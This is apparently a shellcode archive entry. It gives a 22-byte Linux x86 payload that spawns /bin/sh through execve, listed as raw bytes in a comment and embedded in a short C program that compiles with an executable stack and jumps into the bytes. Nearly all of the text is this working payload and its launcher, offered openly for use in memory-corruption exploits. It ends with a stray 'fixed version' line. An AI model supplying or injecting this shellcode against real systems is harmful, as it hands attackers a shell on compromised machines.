22 bytes small execve("/bin/sh", 0, 0) shellcode.
895dc725c45e22d2e8b7b7b86fc38834256bd514eec1dd87f75bf0b468892a88
#include <stdio.h>
#include <string.h>
/*
by Magnefikko
15.04.2010
magnefikko@gmail.com
Promhyl Studies :: https://promhyl.oz.pl
Subgroup: #PRekambr
Name: 22 bytes execve("/bin/sh", 0, 0) shellcode
Platform: Linux x86
execve("/bin/sh", 0, 0);
gcc -Wl,-z,execstack filename.c
shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80
*/
int main(){
char shell[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80";
printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
(*(void (*)()) shell)();
}
---------
fixed version